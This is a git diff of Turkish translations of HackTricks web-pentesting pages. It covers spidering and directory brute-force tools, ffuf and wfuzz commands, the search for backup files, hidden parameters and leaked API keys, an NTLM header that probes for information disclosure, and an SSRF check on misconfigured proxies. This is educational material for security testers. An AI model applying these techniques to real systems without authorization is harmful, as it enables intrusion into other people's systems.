[code-review-tools.md](code-review-tools.md)
@ -187,7 +189,7 @@ Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde d
* /whatever\_fake.php gibi **sahte sayfalara** erişin (.aspx, .html, vb.)
* **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]" ve "\[\["** ekleyin
* **URL'nin** **sonuna** **`/~randomthing/%s`** girerek hata oluşturun
* **URL'nin** **sonuna** **`/~randomthing/%s`** vererek hata oluşturun
* PATCH, DEBUG veya FAKE gibi **farklı HTTP Fiilleri** deneyin
#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
@ -202,7 +204,7 @@ Eğer **WebDav** **etkinse** ancak kök klasörde **dosya yüklemek için** yete
* Uygulama, herhangi bir yerde HTTPS kullanıcısını **zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
* Uygulama, **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**. O zaman bu yüksek bir açıklıktır.
**Açıkları** kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve açıklıkları yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
**Açıkları kontrol etmek için** [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve açıklıkları yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -216,41 +218,41 @@ Bilgi SSL/TLS zafiyetleri hakkında:
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
### Tarama
Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır.
Web içinde bir tür **tarayıcı** başlatın. Tarayıcının amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve dış kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS renderleme yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
* [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML spider.
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir.
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS renderleme yeteneklerine sahip HTML spider.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar arayabilen JS beautify yetenekleri ile. [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) URL'leri çıkaracak ve çirkin (minify) dosyalardan göreli URL'leri bulmak ve çıkarmak için şık bir düzenli ifade kullanacaktır.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML tarayıcı, JS dosyalarındaki LinkFinder ve dış kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML tarayıcı, JS dosyaları için LinkFinder ve dış kaynak olarak Archive.org ile.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML tarayıcı, ayrıca "lezzetli dosyaları" gösterir.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML tarayıcı. Ayrıca Archive.org'da arama yapar.
* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir tarayıcı değildir ama faydalı olabilir. Sadece bir dosya ile ana bilgisayarları ve bir dosya ile yolları belirtebilirsiniz ve meg her ana bilgisayardaki her yolu alır ve yanıtı kaydeder.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS işleme yeteneklerine sahip HTML tarayıcı. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
* [**gau**](https://github.com/lc/gau) (go): Dış sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML tarayıcı.
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu betik, parametre içeren URL'leri bulacak ve listeleyecektir.
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS işleme yeteneklerine sahip HTML tarayıcı.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML tarayıcı, JS dosyalarında yeni yollar arayabilen JS güzelleştirme yetenekleri ile. [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, bilgi güvenliği ninja'ları için faydalıdır.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 betiği. AJAX isteklerini kolayca keşfetmek için faydalıdır. Bakımsız görünüyor.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, çirkin (minify) dosyalardan göreli URL'leri bulmak ve çıkarmak için şık bir düzenli ifade kullanır.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): JS dosyalarından ilginç bilgiler toplamak için çeşitli araçlar kullanır.
* [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Başsız bir tarayıcıda bir sayfayı yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini birleştiren içerik keşif aracı.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametre bulmak için bir Burp uzantısı.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile size güzelleştirilmiş JS kodunu alacak bir araç.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile güzelleştirilmiş JS kodunu alacak bir araç.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araç.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirin ve daha fazla bağlantı arayın).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak bile tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirip daha fazla bağlantı arayın).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Formları doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcı/Tarayıcıdır.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, sırları ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Fuzzing ve enumerasyon için özel kelime listesi oluşturmak için istekten parametreleri ve uç noktaları **çıkarmak** için basit bir **Burp Suite uzantısı**.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, özelleştirilmiş kelime listeleri oluşturmak için istekten parametreleri ve uç noktaları **çıkarmak için** basit bir **Burp Suite uzantısıdır**.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
* [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır.
### Brute Force dizinleri ve dosyaları
### Kaba Kuvvet dizinleri ve dosyaları
Kök klasörden **brute-forcing**'e başlayın ve **bu yöntemle bulunan** **tüm dizinleri** ve **Spidering** ile **keşfedilen** dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
Kök klasörden **kaba kuvvet** işlemine başlayın ve **bu yöntemle bulunan** **tüm dizinleri** ve **Tarama** ile **keşfedilen** dizinleri kaba kuvvetle zorlayın (bu kaba kuvvet işlemini **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
Araçlar:
* **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
@ -259,9 +261,9 @@ Araçlar:
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir tarayıcı değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizinler oluşturmak için Burp Uzantısı.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Tekrarlanan işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Benzer işlevselliğe sahip URL'leri kaldırır (js içe aktarımlarına dayanarak).
* [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer.
**Tavsiye edilen sözlükler:**
@ -283,26 +285,26 @@ Araçlar:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin de Brute-Forced edilmelidir._
_Kaba kuvvetleme veya tarama sırasında yeni bir dizin keşfedildiğinde, bu dizin de Kaba Kuvvet ile zorlanmalıdır._
### Bulunan her dosyada kontrol edilecekler
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulun.
* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedekleme için yaygın adlandırma varyasyonları: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
* [**Kırık bağlantı kontrolörü**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki kırık bağlantıları bulun.
* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedekleme için yaygın adlandırma varyasyonları şunlardır: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
* **Yeni parametreler keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
* _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz.
* Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve bilgiyi web sayfasının **altında** bir yorumda **gizlemektir**.
* **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgiyi** web sayfasının **altında** bir yorumda **gizlemektir**.
* **API anahtarları**: Eğer **herhangi bir API anahtarı bulursanız**, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
* **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini** kontrol edin](buckets/).
* **S3 Buckets**: Tarama sırasında herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin](buckets/).**
### Özel bulgular
**Spidering** ve **brute-forcing** yaparken, **dikkat etmeniz gereken** **ilginç** **şeyler** bulabilirsiniz.
**Tarama** ve **kaba kuvvetleme** sırasında **ilginç** **şeyler** bulabilirsiniz, bunları **not etmelisiniz**.
**İlginç dosyalar**
@ -310,14 +312,14 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
* [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md)
* Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
* Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzerler".
* **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
* Ayrıca keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz.
* **JS dosyaları**: Tarama bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)** kullanabilirsiniz.**
* Ayrıca, keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz.
* **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* **JsFuck deşifreleme** (karakterlerle javascript: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* Birçok durumda, kullanılan düzenli ifadeleri **anlamanız** gerekecek, bu faydalı olacaktır: [https://regex101.com/](https://regex101.com)
* Ayrıca, **formların tespit edildiği dosyaları** da **izlemelisiniz**, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
* Birçok durumda, kullanılan düzenli ifadeleri **anlamak** gerekecektir, bu faydalı olacaktır: [https://regex101.com/](https://regex101.com)
* Ayrıca, **formların tespit edildiği dosyaları izlemelisiniz**, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
**403 Yasaklı/Temel Kimlik Doğrulama/401 Yetkisiz (bypass)**
@ -327,21 +329,21 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
**502 Proxy Hatası**
Eğer herhangi bir sayfa bu **kodla** **yanıt veriyorsa**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir **SSRF** bulmuş olacaksınız.
Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir **SSRF** bulmuş olacaksınız.
**NTLM Kimlik Doğrulama - Bilgi ifşası**
Eğer kimlik doğrulama isteyen sunucu **Windows** ise veya bir girişte **kimlik bilgilerinizi** (ve **alan adı** **adını** istemesi) bulursanız, bir **bilgi ifşası** provake edebilirsiniz.\
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** provake edebilirsiniz.\
**Başlığı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
**HTTP Yönlendirme (CTF)**
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama burada **gizli** bir şey olabilir.
Bir **Yönlendirme** içinde **içerik** yerleştirmek mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
### Web Zafiyetleri Kontrolü
Artık web uygulamasının kapsamlı bir envanteri yapıldığına göre, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
Artık web uygulamasının kapsamlı bir envanteri yapıldı, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -357,11 +359,13 @@ Web zafiyetleri hakkında daha fazla bilgi için:
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
{% embed url="https://www.stmcyber.com/careers" %}
**Gerçek iş etkisi olan kritik, istismar edilebilir zafiyetleri bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### HackTricks Otomatik Komutlar
```

View file

@ -15,6 +15,10 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Resmi sayfa: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## Erişim
@ -46,6 +50,10 @@ H2 veritabanı ile iletişim kurma erişiminiz varsa, RCE elde etmek için bu is
},
[...]
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,29 +1,31 @@
# Nginx
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
